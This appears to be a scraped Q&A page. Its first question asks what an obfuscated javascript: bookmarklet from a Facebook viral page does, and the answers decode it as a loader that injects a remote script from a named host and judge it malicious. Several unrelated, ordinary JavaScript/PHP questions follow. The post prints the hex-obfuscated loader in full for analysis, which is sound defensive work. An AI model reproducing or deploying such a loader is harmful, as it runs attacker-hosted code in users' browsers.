Can someone decode this javascript? [closed] - javascript

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 1 year ago.
Improve this question
I found this javascript in a Facebook viral page here. I think the code is malicious so I would like to know what it does.
Here is the code:
javascript: var _0xa064=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x2F\x2F\x64\x74\x67\x2D\x63\x73\x2E\x68\x6F\x73\x74\x6F\x69\x2E\x63\x6F\x6D\x2F\x70\x72\x6F\x66\x65\x73\x6F\x72\x69\x63\x61\x2F\x66\x75\x72\x6B\x61\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0xa064[2]](_0xa064[1]))[_0xa064[0]]=_0xa064[3];b[_0xa064[5]][_0xa064[4]](a); void (0);

(a = (b = document)['createElement']('script'))['src'] = '//dtg-cs.hostoi.com/profesorica/furka.js';
b['body']['appendChild'](a);
void(0);

It creates a script tag that imports
dtg-cs.hostoi.com/profesorica/furka.js
I would strongly suspect that to be something malicious.
edit — as that script includes, among various ajax requests, a reference to a file called "penis-xd.jpg", I think we can definitely treat it as malicious :-)

It tries to load: dtg-cs.hostoi.com/profesorica/furka.js

Related

How xml to json converter in freeformatter.com works? [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 5 years ago.
Improve this question
Is anyone aware of how http://www.freeformatter.com/xml-to-json-converter.html works. This is the best ever converter I came across. I want to use this logic in my project too, to parse xml responses to json.
Please help.
Like Quentin mentioned, freeformatter.com does not appear to be open source.
To address this issue GitHub user bramstein created a XSLT named XSLTJSON.
You can find it here https://github.com/bramstein/xsltjson
Note: The purpose of XSLT (Extensible Stylesheet Language Transformations) is to transform XML into other formats.

HTML Title From json - SEO Friendly Way? [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 6 years ago.
Improve this question
Changing the page title using jQuery, changes the title on the load of the page - but is there a SEO friendly way to do this?
My data is coming from json and I am handling it in jQuery.
document.title = 'test';
No, bots will only see the static title of the page as it is served by the webserver. Nothing you do in JavaScript will have any effect on that data. Furthermore, your approach is unfriendly to any browser with no JavaScript, making it wholly inaccessible.
You should control your title on the server; perhaps with a PHP script?!

Best way to understand javascript complex code? [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 7 years ago.
Improve this question
What is the best way to understand javascript complex code, like I use to debugger for understand the java complex code.
So, there is any way for javascript like java?
you can use either IE/Chrome Developer Tools, press F12 on the browser and afterward put any breakpoint on javascript file.

Create Html template document from Javascript and Php variables [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 7 years ago.
Improve this question
I am developping an application. As final result the application generates a Html document consisting of variables from external Javascript and Php files.Which is the safest way to pass these variables?.
Thank you very much.
You can use AJAX to do this, you make the request in JS, and process the information in PHP(server side), and you can return an JSON Object with the variables, or simply, return the HTML code and output it.
Hope it helps :D

How to transfer JavaScript variables to PHP [closed]

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 8 years ago.
Improve this question
I've got a problem. I don't know how to transfer JS variables to PHP.
In JS I've got my main script and I'm using PHP only to file management but I need some variables from JS.
The short answer is AJAX, (or SOAP but you better go with AJAX). So go do a little research on it, and if you know jQuery or Prototype or something similar, you are pretty much off for starting to code in a new technology in minutes.
Here are some links, to get you started:
How to start learning Ajax?
http://api.jquery.com/jquery.ajax/

Categories

Resources